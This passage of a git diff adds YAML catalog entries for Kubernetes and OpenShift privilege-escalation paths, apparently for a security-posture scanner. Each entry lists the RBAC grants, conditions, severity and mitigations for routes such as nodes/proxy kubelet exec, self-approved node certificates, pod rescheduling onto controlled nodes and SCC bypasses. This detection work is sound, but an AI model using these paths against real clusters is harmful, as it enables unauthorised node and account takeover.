rejecting privileged pods) may remove the edge. + - id: psa_cluster_default_not_collected + description: Removing a restrictive namespace label may still leave a baseline or restricted cluster-wide PSA default in force. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Do not grant namespace update/patch (or namespaces/status, namespaces/finalize) to tenants; protect pod-security.kubernetes.io labels with a ValidatingAdmissionPolicy. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ + notes: HackTricks reproduced on v1.37 that namespaces/status and namespaces/finalize writes can change Namespace labels consumed by PSA. Namespaces are cluster-scoped, so the namespace grant must come from a ClusterRole/ClusterRoleBinding with resourceNames covering the pivot. + +- id: k8s-nodes-namespace-create-privileged-pod + provider: k8s + service: nodes + title: Create a new namespace and host-privileged pods in it + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-namespace-escalation.md#escape-to-the-node + source_revision: 2415fadfbd + summary: The source can obtain the privileges of nodes by creating a namespace without PSA enforcement and creating pods there. + requires: + all_of: + - verb: create + resource: namespaces + namespace: "*" + - any_of: + - {verb: create, resource: pods, namespace: "*"} + - {verb: create, resource: deployments, api_group: apps, namespace: "*"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "*"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicationcontrollers, namespace: "*"} + - {verb: create, resource: jobs, api_group: batch, namespace: "*"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "*"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: psa_cluster_default_level + description: The PSA AdmissionConfiguration default (not collected) may enforce baseline/restricted on unlabeled namespaces; an admission policy may require PSA labels on new namespaces. + - id: other_admission_blocks_host_access + description: Non-PSA admission may reject privileged pods. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Restrict namespace creation; set a cluster-wide PSA default of baseline or restricted. + references: + - https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-admission-controller/ + notes: Pods create must be effective in the newly created namespace, i.e. granted cluster-wide (a RoleBinding cannot pre-exist in a namespace that does not yet exist unless created by automation the source triggers). + +- id: k8s-nodes-nodes-proxy-pod-sas + provider: k8s + service: nodes + title: Use the kubelet API through nodes/proxy + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-proxy + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts of pods running on nodes covered by its nodes/proxy grant, by executing in those pods through the kubelet. + requires: + all_of: [] + any_of: + - - {verb: create, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.node}"} + - - {verb: get, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.node}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + k8s_sa_used_by_running_pod: true + scope: cluster + aggregate_as: "ServiceAccounts of pods on proxied nodes in {cluster}" + conditions: + - id: kubelet_webhook_authorization + description: The kubelet must authorize via the API server (Webhook mode, default in managed clusters) so the nodes/proxy grant is honored. + - id: get_only_needs_direct_kubelet + description: With only get, execution needs direct network reach to the kubelet port (WebSocket upgrade to the kubelet); the API-server proxy path maps exec to create. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove nodes/proxy from monitoring and other roles; use the fine-grained kubelet subresources (nodes/metrics, nodes/stats, nodes/log) instead. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ + notes: "{target.node} = the node hosting the target pod. Bypasses API-server audit for pods/exec. Executing into privileged pods on those nodes also reaches the node (k8s-nodes-nodes-proxy-node)." + +- id: k8s-nodes-nodes-proxy-node + provider: k8s + service: nodes + title: Use nodes/proxy to execute in privileged pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion + source_revision: 2415fadfbd + summary: The source can obtain the privileges of covered nodes that run at least one pod with a privileged container or node-escape capability. + requires: + all_of: [] + any_of: + - - {verb: create, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + - - {verb: get, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + target: + kind: k8s_node + selector: + k8s_node_hosting_privileged_pod_in_namespace: "*" + scope: cluster + aggregate_as: "Proxied nodes running privileged pods in {cluster}" + conditions: + - id: kubelet_webhook_authorization + description: The kubelet must authorize via the API server. + - id: get_only_needs_direct_kubelet + description: With only get, direct network reach to the kubelet port is required. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove nodes/proxy from non-admin roles. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ + notes: Clusters running privileged DaemonSets (CNI, CSI, kube-proxy) make every node reachable. Uses the same pod classification as k8s-nodes-exec-into-host-privileged-pod (added capabilities are conditional); sensitive hostPath pods are covered by k8s-nodes-nodes-proxy-host-mount-node. + +- id: k8s-nodes-nodes-proxy-host-mount-node + provider: k8s + service: nodes + title: Use nodes/proxy to execute in pods mounting a runtime socket or sensitive host path + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-proxy + source_revision: 2415fadfbd + summary: The source can obtain the privileges of covered nodes that run at least one pod mounting a container runtime socket, node credential files, or a host-executed path writable. + requires: + all_of: [] + any_of: + - - {verb: create, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + - - {verb: get, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + target: + kind: k8s_node + selector: + k8s_node_hosting_host_mount_pod_in_namespace: "*" + scope: cluster + aggregate_as: "Proxied nodes running host-mount pods in {cluster}" + conditions: + - id: kubelet_webhook_authorization + description: The kubelet must authorize via the API server. + - id: get_only_needs_direct_kubelet + description: With only get, direct network reach to the kubelet port is required. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove nodes/proxy from non-admin roles and avoid runtime-socket or host-root mounts in node agents. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ + notes: Same hostPath classification and conditions as k8s-nodes-exec-into-host-mount-pod. + +- id: k8s-nodes-csr-kubelet-client-signer + provider: k8s + service: certificates + title: Issue and approve a node client certificate + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can obtain the privileges of any node identity (system:node:) by self-approving a kube-apiserver-client-kubelet certificate. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + # Read the issued certificate back (status.certificate). + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + # The signer check also accepts the domain wildcard resourceName. + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client-kubelet"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_node + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: kubelet_client_signer_enabled + description: The controller-manager must sign kubernetes.io/kube-apiserver-client-kubelet with the cluster CA (managed offerings may differ). + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict CSR approval and signer approve to the controller-manager and cluster administrators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: Per Kubernetes docs this signer only issues subjects with organization system:nodes and CN system:node:, so the reachable identities are nodes (not users or system:masters). NodeRestriction then limits each node identity to its own node's pods and objects. + +- id: k8s-nodes-csr-nodeclient-autoapprove + provider: k8s + service: certificates + title: Obtain an auto-approved node client certificate (bootstrap nodeclient) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can obtain the privileges of any node identity by submitting a node client CSR that the controller-manager auto-approves. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: create, resource: certificatesigningrequests, subresource: nodeclient, api_group: certificates.k8s.io, namespace: "*"} + target: + kind: k8s_node + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: csrapproving_controller_enabled + description: The csrapproving controller of kube-controller-manager must be enabled (default with TLS bootstrapping); managed providers may use their own approvers. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant certificatesigningrequests/nodeclient only to system:bootstrappers with short-lived bootstrap tokens, and remove bootstrap tokens after node join. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval + notes: Based on the official TLS bootstrapping docs (HackTricks only mentions that node bootstrap signers have different checks). The nodeclient approval does not tie the requested node name to the requester, unlike selfnodeclient, which only renews the requester's own node certificate. + +- id: k8s-nodes-node-mint-pod-sa-tokens + provider: k8s + service: nodes + title: Node identity mints tokens for ServiceAccounts of its pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#privesc-to-cluster-admin + source_revision: 2415fadfbd + summary: A node identity can request API tokens for the ServiceAccounts used by pods running on that node when Node authorization permits it. + source_kind: k8s_node + requires: + all_of: [] + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + k8s_node_hosting_pods_with_sa: true + scope: cluster + aggregate_as: "ServiceAccounts of pods on {source.name}" + conditions: + - id: node_authorizer_and_audience + description: The Node authorizer must allow a token for the Pod's ServiceAccount; NodeRestriction can limit requested audiences to those referenced by Pods on that node. + blockers: [] + confidence: conditional + severity: high + mitigation: Keep privileged ServiceAccounts' pods off nodes that run untrusted workloads (taints, dedicated node pools) and minimize host-privileged pods. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/node/ + notes: The evaluator derives a definite target from a running Pod on the source node; a Pod bound but not running stays conditional. NodeRestriction limits non-default token audiences to those referenced by Pods on that node unless extra RBAC grants them. HackTricks also covers reading existing tokens from the node filesystem (attacking-kubernetes-from-inside-a-pod.md#steal-secrets). + +- id: k8s-nodes-control-plane-node + provider: k8s + service: nodes + title: Control of a self-managed control-plane host + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#control-plane-node-artifacts + source_revision: 2415fadfbd + summary: Control of a self-managed control-plane host may expose its API-server or etcd credentials and their cluster-admin privileges. + source_kind: k8s_node + source_selector: + k8s_node_role: control-plane + requires: + all_of: [] + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: self_managed_control_plane + description: Only self-managed clusters (kubeadm, OpenShift, k3s) have control-plane nodes; EKS/GKE/AKS control planes are not reachable as nodes. + - id: control_plane_host_access + description: A node API credential alone cannot read local API-server or etcd files; the source must control the host filesystem or a workload with access to those files. + blockers: [] + confidence: conditional + severity: critical + mitigation: Taint control-plane nodes, block untrusted pods from tolerating the taint via admission, and protect /etc/kubernetes/pki and etcd. + references: + - https://kubernetes.io/docs/setup/best-practices/certificates/ + notes: Control-plane nodes hold the cluster CA key, admin kubeconfig and etcd client certificates. Identify control-plane nodes by the node-role.kubernetes.io/control-plane label. + +- id: k8s-nodes-replacement-pod-to-controlled-node + provider: k8s + service: nodes + title: Force a controller-managed pod onto a controlled node + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#delete-pods--unschedulable-nodes + source_revision: 2415fadfbd + summary: A source that already controls a node can obtain the privileges of ServiceAccounts of controller-managed pods in the namespace by forcing their replacements onto that node. + source_selector: + source_reaches_kind: k8s_node + requires: + all_of: [] + any_of: + # A NoExecute taint written through nodes patch/update both evicts the running pod and excludes competing nodes. + - - {verb: patch, resource: nodes, namespace: "*"} + - - {verb: update, resource: nodes, namespace: "*"} + # Otherwise: one way to make the controller create a replacement, plus one way to exclude competing nodes. + - - any_of: + - {verb: delete, resource: pods, namespace: "{target.namespace}"} + - {verb: create, resource: pods, subresource: eviction, namespace: "{target.namespace}"} + - {verb: patch, resource: pods, namespace: "{target.namespace}"} + - {verb: update, resource: pods, namespace: "{target.namespace}"} + - {verb: patch, resource: pods, subresource: status, namespace: "{target.namespace}"} + - {verb: update, resource: pods, subresource: status, namespace: "{target.namespace}"} + - any_of: + - {verb: patch, resource: nodes, subresource: status, namespace: "*"} + - {verb: update, resource: nodes, subresource: status, namespace: "*"} + - {verb: delete, resource: nodes, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_used_by_controller_managed_pod: true + scope: same_namespace + aggregate_as: "ServiceAccounts of controller-managed pods in {target.namespace}" + conditions: + - id: replacing_controller_reference + description: The Pod must have a controller owner reference to a ReplicaSet, ReplicationController, DaemonSet, StatefulSet, or Job; an arbitrary owner reference does not establish replacement. + - id: controlled_node_satisfies_pod_constraints + description: The node the source controls (enforced by source_reaches_kind k8s_node) must satisfy the replacement pod's scheduling constraints. + - id: not_a_node_credential + description: Default node credentials cannot do this (NodeRestriction limits deletes and status writes to their own node); the grants must belong to a non-node identity. + - id: pdb_blocks_eviction + description: A PodDisruptionBudget may block the eviction variant. + - id: replacement_trigger_accepted + description: A pods patch/update replacement works only by changing labels so the pod leaves its controller selector (the orphan keeps running); a pods/status write works only if the terminal phase is accepted and the controller replaces failed pods. + - id: every_competing_node_excluded + description: Every other node that satisfies the pod's constraints must be excluded (allocatable pods set to 0 via nodes/status, Node object deletion, or NoSchedule/NoExecute taint or cordon via nodes patch/update); kubelets restore status and re-register deleted Nodes, and tolerations or spec.nodeName defeat taints. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: medium + mitigation: Do not grant nodes, nodes/status, pods/status or Node delete permissions to non-node identities; use dedicated node pools with taints for privileged workloads. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/node/ + - https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/ + notes: Replacement triggers and exclusion methods follow HackTricks node-permissions-and-status.md#delete-pods--unschedulable-nodes and dosing-other-nodes.md#cause-a-replacement-pod / #taints-cordon-and-eviction (a66f094ede). Composite path; source_selector source_reaches_kind k8s_node keeps the edge only when the source is a node or a chain in the same run reaches one (then condition source_reaches_k8s_node_via_chain). Kubelets restore their reported capacity, so the window is timing dependent. + +- id: k8s-nodes-pods-binding-pending-pod-to-controlled-node + provider: k8s + service: nodes + title: Bind a pending pod to a controlled node with pods/binding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-and-pods-status + source_revision: 2415fadfbd + summary: A source that already controls a node can obtain the privileges of the ServiceAccount of a pending (unscheduled) pod by binding that pod to its node with pods/binding or the legacy bindings resource. + source_selector: + source_reaches_kind: k8s_node + requires: + all_of: [] + any_of: + - - {verb: create, resource: pods, subresource: binding, namespace: "{target.namespace}"} + - - {verb: create, resource: bindings, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_used_by_pending_pod: true + scope: cluster + aggregate_as: "ServiceAccounts of pending pods in {cluster}" + conditions: + - id: pod_still_pending_at_bind_time + description: The pod must still be unscheduled when the Binding is created; the scheduler may place it first. + - id: not_a_node_credential + description: Default node credentials cannot bind pods (NodeRestriction); the binding grant must belong to a non-node identity. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Grant pods/binding and bindings create only to the scheduler; keep privileged workloads on dedicated, tainted node pools. + references: + - https://kubernetes.io/docs/reference/kubernetes-api/cluster-resources/binding-v1/ + notes: HackTricks (171e422) states direct scheduling with create pods/binding or core bindings assigns an unscheduled pod to a node, bypassing the scheduler's placement decision; creating or modifying the pod is a separate permission. k8s_sa_used_by_pending_pod targets ServiceAccounts of collected pods with status.phase Pending and no spec.nodeName. The pod's token is then readable from the controlled node. + +- id: k8s-nodes-attract-pending-pod-to-controlled-node + provider: k8s + service: nodes + title: Attract a pending pod to a controlled node through node labels or status, or pod nomination + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-and-pods-status + source_revision: 2415fadfbd + summary: A source that already controls a node can obtain the privileges of the ServiceAccount of a pending pod by making that node the scheduler's choice (adding the label the pod's nodeSelector requires, forging capacity, or setting the pod's nominated node). + source_selector: + source_reaches_kind: k8s_node + requires: + all_of: [] + any_of: + - - {verb: patch, resource: nodes, subresource: status, namespace: "*"} + - - {verb: update, resource: nodes, subresource: status, namespace: "*"} + - - {verb: patch, resource: nodes, namespace: "*"} + - - {verb: update, resource: nodes, namespace: "*"} + - - {verb: patch, resource: pods, subresource: status, namespace: "{target.namespace}"} + - - {verb: update, resource: pods, subresource: status, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_used_by_pending_pod: true + scope: cluster + aggregate_as: "ServiceAccounts of pending pods in {cluster}" + conditions: + - id: pod_pending_for_missing_placement + description: The pod must be pending because no node satisfies its nodeSelector/affinity or capacity needs (or, for nominatedNodeName, because scoring prefers another node); the label or forged status must make the controlled node feasible before another node becomes so. + - id: node_write_name_matches_controlled_node + description: If nodes or nodes/status permission has resourceNames, an allowed node name must be the node already controlled by the source. + - id: hard_filters_still_apply + description: Taints, tolerations, resource requests and admission still apply; pods/status nomination does not bypass hard filters. + - id: kubelet_reconciles_status + description: Kubelets restore forged nodes/status capacity and conditions; labels added through /status persist on legacy strategies. + - id: not_a_node_credential + description: Default node credentials cannot label or status-patch other objects freely (NodeRestriction); the grants must belong to a non-node identity. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant nodes, nodes/status or pods/status writes to non-node identities; place sensitive workloads on node pools selected by labels under the node-restriction.kubernetes.io/ prefix, which kubelets cannot self-assign. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction + notes: HackTricks (a66f094ede) reproduced a non-node identity adding a scheduling label through nodes/status that scheduled a pending nodeSelector pod onto the node, forged capacity/image status attracting eligible pods, and pods/status nominatedNodeName selecting a feasible attacker node. The scheduler (not admission) places the pod, so no admission blocker applies. Complements k8s-nodes-pods-binding-pending-pod-to-controlled-node (direct binding). diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml new file mode 100644 index 0000000000..1b7f4ea711 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml @@ -0,0 +1,309 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# OpenShift-specific techniques (SCC, privileged projects, run-level label, Tekton); each needs the +# k8s_openshift_cluster precondition. The dangling ServiceAccount reference lives in rbac.yaml. +# Conventions: see header of rbac.yaml. "Host SCC" = an SCC that allows privileged containers or +# host directory volumes / host PID (default: privileged, hostaccess, hostmount-anyuid, +# node-exporter); custom SCCs with allowPrivilegedContainer or allowHostDirVolumePlugin qualify. +# Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. + +- id: k8s-openshift-scc-use-host-scc + provider: k8s + service: openshift + title: Use a host-access SCC and create pods + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc.md#use-scc + source_revision: 2415fadfbd + summary: The source can obtain the privileges of nodes by creating pods admitted under a host-access SCC it may use. + requires: + all_of: + - verb: create + resource: pods + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + openshift_source_host_scc_path: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: scc_direct_users_groups + description: The selector checks both namespace-scoped RBAC use grants and SCC users/groups entries against a collected SCC that permits privileged containers or host filesystem mounts. + - id: other_admission_blocks_host_access + description: Other admission policies may still reject the pod. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Grant use on privileged/host SCCs only to platform ServiceAccounts; never to users, groups or system:authenticated. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: SCC admission checks the requesting user and the pod's ServiceAccount. This entry is the requesting-user path, so the source must create the Pod directly. Host filesystem mounts without privileged containers remain conditional because UID and SELinux restrictions may limit access. + +- id: k8s-openshift-scc-via-namespace-sa + provider: k8s + service: openshift + title: Create pods as a ServiceAccount that may use a host-access SCC + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc.md#use-scc + source_revision: 2415fadfbd + summary: The source can obtain the privileges of nodes by creating pods (or controllers) as a ServiceAccount of the namespace that may use a host-access SCC. + requires: + all_of: [] + any_of: + - - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + # Repoint an existing controller to the SCC ServiceAccount and a host-access pod template. + - - {verb: patch, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: update, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{pivot.namespace}"} + - - {verb: update, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + openshift_namespace_has_sa_with_host_scc: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: controller_object_exists + description: The patch/update alternatives require an existing controller in the namespace covered by the grant. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Keep ServiceAccounts with privileged SCC access in namespaces where untrusted subjects cannot create workloads. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: The selector requires some ServiceAccount in the pivot namespace that may use a host SCC, either through RBAC use on security.openshift.io securitycontextconstraints or through the SCC object's users[] (system:serviceaccount::) / groups[] (e.g. system:serviceaccounts:), which the K8s collector now collects and the effective-permissions hook evaluates. That ServiceAccount itself is already reached by pods create (workloads.yaml). + +- id: k8s-openshift-privileged-default-projects + provider: k8s + service: openshift + title: Create pods in OpenShift namespaces without SCC admission + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#privileged-namespaces + source_revision: a66f094ede + summary: The source can obtain node privileges by creating host-privileged pods in an OpenShift default project or an existing namespace carrying openshift.io/run-level. + requires: + all_of: [] + any_of: + - - any_of: + - {verb: create, resource: pods, namespace: default} + - {verb: create, resource: deployments, api_group: apps, namespace: default} + - {verb: create, resource: daemonsets, api_group: apps, namespace: default} + - {verb: create, resource: statefulsets, api_group: apps, namespace: default} + - {verb: create, resource: replicasets, api_group: apps, namespace: default} + - {verb: create, resource: replicationcontrollers, namespace: default} + - {verb: create, resource: jobs, api_group: batch, namespace: default} + - {verb: create, resource: cronjobs, api_group: batch, namespace: default} + - - any_of: + - {verb: create, resource: pods, namespace: kube-system} + - {verb: create, resource: deployments, api_group: apps, namespace: kube-system} + - {verb: create, resource: daemonsets, api_group: apps, namespace: kube-system} + - {verb: create, resource: statefulsets, api_group: apps, namespace: kube-system} + - {verb: create, resource: replicasets, api_group: apps, namespace: kube-system} + - {verb: create, resource: replicationcontrollers, namespace: kube-system} + - {verb: create, resource: jobs, api_group: batch, namespace: kube-system} + - {verb: create, resource: cronjobs, api_group: batch, namespace: kube-system} + - - any_of: + - {verb: create, resource: pods, namespace: kube-public} + - {verb: create, resource: deployments, api_group: apps, namespace: kube-public} + - {verb: create, resource: daemonsets, api_group: apps, namespace: kube-public} + - {verb: create, resource: statefulsets, api_group: apps, namespace: kube-public} + - {verb: create, resource: replicasets, api_group: apps, namespace: kube-public} + - {verb: create, resource: replicationcontrollers, namespace: kube-public} + - {verb: create, resource: jobs, api_group: batch, namespace: kube-public} + - {verb: create, resource: cronjobs, api_group: batch, namespace: kube-public} + - - any_of: + - {verb: create, resource: pods, namespace: openshift-node} + - {verb: create, resource: deployments, api_group: apps, namespace: openshift-node} + - {verb: create, resource: daemonsets, api_group: apps, namespace: openshift-node} + - {verb: create, resource: statefulsets, api_group: apps, namespace: openshift-node} + - {verb: create, resource: replicasets, api_group: apps, namespace: openshift-node} + - {verb: create, resource: replicationcontrollers, namespace: openshift-node} + - {verb: create, resource: jobs, api_group: batch, namespace: openshift-node} + - {verb: create, resource: cronjobs, api_group: batch, namespace: openshift-node} + - - any_of: + - {verb: create, resource: pods, namespace: openshift-infra} + - {verb: create, resource: deployments, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: daemonsets, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: statefulsets, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: replicasets, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: replicationcontrollers, namespace: openshift-infra} + - {verb: create, resource: jobs, api_group: batch, namespace: openshift-infra} + - {verb: create, resource: cronjobs, api_group: batch, namespace: openshift-infra} + - - any_of: + - {verb: create, resource: pods, namespace: openshift} + - {verb: create, resource: deployments, api_group: apps, namespace: openshift} + - {verb: create, resource: daemonsets, api_group: apps, namespace: openshift} + - {verb: create, resource: statefulsets, api_group: apps, namespace: openshift} + - {verb: create, resource: replicasets, api_group: apps, namespace: openshift} + - {verb: create, resource: replicationcontrollers, namespace: openshift} + - {verb: create, resource: jobs, api_group: batch, namespace: openshift} + - {verb: create, resource: cronjobs, api_group: batch, namespace: openshift} + - - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + openshift_namespace_without_scc: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: openshift_cluster + description: Only applies to OpenShift clusters. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Never grant workload creation in OpenShift default/system projects to untrusted subjects. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: The fixed alternatives cover Red Hat's six default projects. The pivot alternative requires a collected existing namespace with openshift.io/run-level before it permits any other namespace. + +- id: k8s-openshift-run-level-label-existing-namespace + provider: k8s + service: openshift + title: Add the openshift.io/run-level label to a namespace and create pods + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#namespace-label + source_revision: a66f094ede + summary: The source can obtain the privileges of nodes by labelling a namespace so SCCs are not applied and creating host-privileged pods there. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} 